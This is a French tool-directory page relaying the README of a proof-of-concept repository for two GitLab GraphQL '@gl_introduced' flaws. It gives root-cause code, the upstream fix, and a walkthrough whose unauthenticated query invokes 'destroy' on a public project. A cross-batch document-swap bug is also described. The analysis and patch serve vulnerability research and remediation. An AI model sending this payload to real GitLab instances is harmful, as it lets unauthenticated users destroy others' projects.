Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-19478 — Fournit des exploits PoC et une analyse des causes racines pour deux vulnérabilités de la directive GraphQL `@gl_introduced` de GitLab : exécution de méthode non authentifiée et échange de document par lots, avec le correctif en amont et des preuves en direct. | Kitploit
Outils/GitHubGitHub/n0xdaemon/cve-2026-19478
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests de Sécurité des APISécurité Web
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

Fournit des exploits PoC et une analyse des causes racines pour deux vulnérabilités de la directive GraphQL `@gl_introduced` de GitLab : exécution de méthode non authentifiée et échange de document par lots, avec le correctif en amont et des preuves en direct.

Voir le dépôt
24il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-19478 — Vulnérabilités du filtre de versions GraphQL @gl_introduced de GitLab

Un laboratoire de reproduction pour deux bogues liés dans la fonctionnalité de filtre de versions GraphQL de GitLab (la directive @gl_introduced). Les deux vivent dans la même zone fonctionnelle, sont corrigés par le même patch en amont, et permettent tous deux à une requête GraphQL d'atteindre des chemins de code qu'elle n'a jamais déclarés :

  • Exécution de méthode par champ de repli — une requête unique, non authentifiée et non groupée peut invoquer une méthode arbitraire sans argument (par ex. destroy) sur le modèle derrière n'importe quel type GraphQL, simplement en nommant un champ qui n'existe pas et en le taguant @gl_introduced.
  • Échange de document entre opérations — dans une requête groupée (multiplex), le document de requête analysé d'une opération peut être substitué à celui d'une autre, si bien qu'un slot qui déclarait une lecture inoffensive finit par exécuter la mutation d'un autre slot.
Affecté18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
Corrigé18.11.11, 19.0.8, 19.1.6, 19.2.4
Cible du labgitlab/gitlab-ce:19.2.2-ce.0 (dernier build avant le correctif)
DéclencheurDirective GraphQL @gl_introduced, seule ou dans un lot

Structure du dépôt

docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

Tout ce qui se trouve sous src/ est du texte source amont verbatim, jamais réimplémenté — le chargeur superpose src/vuln ou src/patched sur src/common.


1. Cause racine

1a. Champ de repli → résolution de méthode par défaut de graphql-ruby

Gitlab::Graphql::VersionFilter::FutureFieldFallback permet à une requête de référencer un champ qui n'existe pas encore sur un type sans que la requête échoue — conçu pour les déploiements progressifs, où le schéma d'un ancien nœud ne possède pas encore un champ qu'un nœud plus récent fournit déjà. Son override get_field vérifie si le champ demandé est manquant et si la requête est marquée contain_future_fields ; si c'est le cas, il renvoie un champ synthétique au lieu de lever une exception :

# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

Le problème : ce GraphQL::Schema::Field est construit sans méthode de résolution, sans classe de résolution, sans bloc. La résolution de champ par défaut de graphql-ruby s'applique alors (graphql gem 2.6.3, lib/graphql/schema/field.rb) :

inner_object.public_send(@method_sym)

@method_sym est le nom du champ, en snake_case — c'est-à-dire exactement la chaîne que l'attaquant a placée dans la requête. Si l'objet derrière le type GraphQL (le modèle ActiveRecord) possède par hasard une méthode publique réelle sans argument portant ce nom, graphql-ruby l'appelle et renvoie son résultat (converti au type attendu). fallback_value: nil ne s'applique que lorsque la méthode n'existe vraiment pas — il ne fait rien pour empêcher une méthode réelle de s'exécuter.

Donc : interrogez n'importe quel type pour un champ nommé d'après une méthode destructive réelle — destroy, par exemple — taguez-le @gl_introduced pour qu'il survive jusqu'à l'exécution, et la méthode s'exécute.

1b. Échange de document entre opérations

IntroducedTracer implémente le reste de la fonctionnalité de filtre de versions à travers deux hooks de trace graphql-ruby — parse (une fois par opération) et execute_query (une fois par opération). Dans la version vulnérable, il stocke son état par opération dans de simples variables d'instance sur l'objet de trace :

# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

Le problème : graphql-ruby partage UNE seule instance de trace pour chaque opération d'une requête multiplexée, et les analyse toutes avant d'en exécuter une seule. Donc dans un lot de deux opérations :

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 porte un champ futur @gl_introduced)

Après l'analyse, seul l'état de la dernière opération survit. Puis l'exécution se déroule :

  1. execute_query(op1) → le drapeau est true, donc le document d'op1 est écrasé avec op2_doc et ré-analysé → le slot d'op1 exécute l'opération d'op2.

op1 déclarait une lecture ; il exécute l'écriture d'op2.

Le correctif

patch-19.2.2-to-19.2.4.diff corrige les deux :

# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. Déroulement de l'exploitation

2a. Champ de repli — requête unique, sans authentification, sans lot

query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

Pas d'en-tête Authorization. Une seule opération, pas de lot. destroy n'est pas un vrai champ sur Project — il n'existe pas du tout dans le schéma — mais la directive fait que FutureFieldFilter le retire avant la validation statique et arme contain_future_fields pour l'exécution, où get_field renvoie un champ sans résolveur nommé destroy et graphql-ruby appelle project.public_send(:destroy).

Télécharger l’outil